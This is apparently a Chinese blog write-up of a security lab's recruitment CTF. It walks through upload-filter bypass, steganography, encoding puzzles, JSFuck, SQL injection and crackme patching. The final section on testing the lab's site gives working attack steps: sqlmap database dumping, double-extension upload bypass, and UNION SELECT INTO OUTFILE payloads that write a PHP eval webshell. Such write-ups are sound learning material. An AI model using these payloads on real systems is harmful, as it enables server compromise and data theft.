CTF札记 ·

信息安全实验室招新试题和完全解析

任务一:个人介绍网页

写个网页应该是很简单的,不管是静态网页还是带特效的网页。但是有几个问题,需要说明一下。

images

题目说HTML和html文件格式会被后台过滤无法实现上传,这个是考我们如何绕过上传限制。

首先想想是不是JavaScript脚本限制,打开控制台,看到JS脚本控制的是文件的大小。images

所以肯定不是本地校检,于是改后缀名。Html、hTml,等等都可以上传。只要不是HTML和html。

第二点,由于只可以上传HTML文件,那么资源文件就不可以上传了。比如说图片js、css文件,于是就只好通过CDN引入,图片可以用七牛云或其他的图床平台。这里我是用我的网站提供部分图片和JS的引入。

 

任务二:CTF试题

第一题

web类,登录拿flag

images

审查网页发现<!-- you will find a surprise in css-->的注释,于是查看css样式,发现密码提示,再更改输入框属性,改最大输入为11字符,登录,拿到flag 。

登陆成功, Flag 是 flag{XinXiAnQuanLabZhaoXinTest}imagesimages

第二题

隐写术,找出图片中的flag

打开图片发现没有flag信息,于是用winhex打开,拉倒最下面,发现flag.txt文件信息。加上这张图片的文件名“rar.jpg”赤裸裸的提示是个压缩包。改后缀rar,打开文件发现flag.txt。

内容为flag{ZmxhZ3tXZWxjb21lIHRvIHRoZSBpbmZvcm1hdGlvbiBzZWN1cml0eSBsYWJ9}

一看文本内容就知道进过base64加密,遂解密得到flag。

解密成功,Flag是flag{Welcome to the information security lab}


images

imagesimagesimages

 

第三题

隐写术

居然给了提示,“本题 你需要用到 Stegsolve.jar 这个软件 并且 电脑上要装有jdk(请自行百度jdk安装教程)”,所以你要考我们配置JDK环境?哈哈。下载后的图,直接用软件打开,一直按左键,过滤其他颜色编码。就得到了二维码。

images

images

扫描二维码得到flag{this is a new word}

第四题

大数模运算:求sum = 1!+2!+3!+……+5677!+5678!的末5位。

这个题,初看吓我一跳。题目是求模,为啥给的题是求和。好吧言归正传,对于大数来说,一个数的阶乘是非常大的,同样,一个int类型的整数,他的阶乘就有可能会很大。

就拿50来说,他的阶乘位数是65位,就已经远远超过了long long int类型的最大值。这时候,我们要通过字符串的方法,来进行阶乘的运算。

其方法是:

首先,我们是可以先求一定范围内的最大值的阶乘位数,以便于申请数组空间的确定。

对于大数问题,我们要有将大数与数组结合的思想,可以利用类似于人工求值的方法求出有关大数的问题。

对于大数阶乘来说,最重要的是如何将每个数的每位数与相对应的数组元素储存起来,就如算50的阶乘,我们要先从1开始乘:

1*2=2,将2存到a[0]中,

接下来是用a[0]*3;

2*3=6,将6储存在a[0]中,

接下来是用a[0]*4;

6*4=24,是两位数,那么24%10==4存到a[0]中,24/10==2存到a[1]中,

接下来是用a[0]*5;a[1]*5+num(如果前一位相乘结果位数是两位数,那么num就等于十位上的那个数字;如果是一位数,num==0)

24*5=120,是三位数,那么120%10==0存到a[0]中,120/10%10==2存到a[1]中,120/100==1存到a[2]中,

接下来是用a[0]*3;a[1]*6+num;a[2]*6+num;

120*6=720,那么720%10==0存到a[0]中,720/10%10==2存到a[1]中,720/100==7存到a[2]中,

...................

直到乘到50,将每一位数储存为止。

诶诶,其实这个是大佬给的方法,会用就行。下面贴大佬代码,C语言实现。

代码写好了,跑起来试试!直接来狠的求5678!得出的结果大吃一惊!

images

末尾全部是0,很诧异有木有!我还以为结尾是乱七八糟的数字。好美不是么,这样就有思路了。题目叫求的是末尾5位,那就找临界值啊。现在找一个最大的N!使其末尾5位不全是0!经测试24是最大的。

 

images

images

那么问题简化为求sum = 1!+2!+3!+……+24!的末5位。

好吧,求每个数阶乘的末5位,在求和就可以得到答案啦。Excel是个好东西哈。最终得到末6位是840313。

拿到flag{40313}

 

第五题

双基回文数

计算大于正整数16000的最小双基回文数(一个正整数至少在两种进制模式下都是回文数,则称这个数为双基回文数)

直接贴代码,由于是JavaScript写的代码,F12浏览器控制台运行,得到结果。

这里范围写小点16000-100000。

 

images

跑出结果,flag{16191}

 

第六题

解码题

打开网页发现是一串字符,0x开头,说明是16进制。然后解码为文本发现是URL编码之后的文本,再去解码。imagesimages

解码的字符串以==结尾,发现是经过base64加密的文本。

MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTUKMTA0CjEwNQoxMjEKOTcKMTEwCjk4Cjk3CjExNA==

再去解密base64,得到十进制的数据。

images

再对照ASCII码,得出最终flag。flag{welcometoshiyanbar}

 

第七题

培根解码

打开网页明显发现是摩斯密码,解密之后的内容:

百度培根密码:得到介绍

培根所用的密码是一种本质上用二进制数设计的,没有用通常的0和1来表示,而是采用a和b,如大写字母和小写字母,英文和数字,斜体和正体等等。那么在这里D为b,C为a.

images

替换后为baabaaabbbabaaabbaaaaaaaaabbabaaaabaaaaaabaaabaabaaaabaabbbaabbbaababb

对照培根密码表,或者在线解密。点击这里

得到:shiyanbaiscool但是怎么输入都是错的,怀疑人生。最后发现,原摩斯码居然有“/”,好吧用空格代替。得到最终flag{SHIYANBA IS COOL}

 

第八题

jsfuck

说实话,这个加密惊艳到我了,第一次接触到一脸懵逼。百度里面的代码,知道是jsfuck,打开官方Github看到了介绍。下面的代码这是很小一部分。

images

这是一个黑客奇葩的想法。

黑客行为中,你的js代码可能被关键词检测,于是考虑躲避关键词检测的想法,例如 eval等关键词。

1、想了各种方法来规避这个检测。

2、把方法写成通用的程序。

3、把包含的字符做到极致,最后只剩下 ()+[]!  这六个字符。

我的思路如下:

首先看看可不可以直接到控制台运行,复制回车运行。居然运行不了!再想想是不是少了字符。看到开始的字符不对称,半角方括号没有括起来。于是加一个]。运行弹出alert对话框:flag is not here。

images

images

这时候看到官方文档有个实例,与给出的代码有点相仿。

images

于是删除结尾的"()"代码,运行。没输出,考虑到开始的字符不对称,半角方括号没有括起来。于是在末尾加一个]。回车得到一个数组,打开数组得到flag。好了一切就是那么奇妙。

images

flag{f_f_l_u_a_c_g_k}

 

第九题

SQL注入

打开界面,只有一个提示。撸起袖子就是干,寻找注入点吧!

首先想到的就是该id,将x=1中的1改为其他数字,2、3、4...测试到4就可以得到flag了。images

images

不过,还不满足,再加一句or 1=1,返回表中所有内容。这里发现ID有4,5,6。就是说结尾的x=4中的ID为4,5,6都可以注入。实验了一下确实可以。7就不可以了。

images

flag{fanke12}

 

第十题

逆向工程

就是一个逆向的基础教程,不写过程了。

images

第十一题

破解注册机

不得不说,给的工具我不会用。于是百度下载了一个吾爱破解的专属OD工具。爽歪歪!总之就是暴力破解,在定位到GetDlgItemText这个API处,F8单步步过向下跟随到有test判断的地方,注意观察数据堆栈区的位置。

004011E5地址处call调用一个函数,并且在之前push了三个参数。第二处test指令下面那条je跳转指令用nop填充掉。

保存时一个学问啊,刚开始逆向,连保存都不会。可怜,还是百度好久才会。

效果图如下:images

任务三:网站测试和建议

在做SQL注入时,通过sqlmap暴库,绕过waf,跑出了网站的数据库。查看了部分表,但是下课了,就没继续了。后来waf机制更严格了,随便一注入IP就被封,就没有测试了。

尝试长传小马,waf没有检测出恶意代码,但是万恶的监测机制,把我绕过后缀名检测的php文件直接改后缀为HTML,就没法获取webshell了。这里绕过的方法是双后缀,比如a.Html.php,就可以上传了。

当然,还有一个方法应该可以拿权限,就是通过SQL注入。

union select语句来写入webshell。

‘ union select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+

‘ union select 1,’<?php eval($_POST[cmd]);?>’ into outfile ‘文件绝对路径’+- -+

绝对路径的获取需要在SQL注入那个网页,通过注入报错返回绝对路径。

还有一个方式是通过图片上传,在问题一有个可以上传图片的地方,上传后,可以返回文件袋相对地址。这时候,再猜绝对路径。

我们通过CMD的copy命令,将小马文件压制在图片里。在用截断的方式该jpg为可执行php,在用菜刀连接获取webshel。

 

参与评论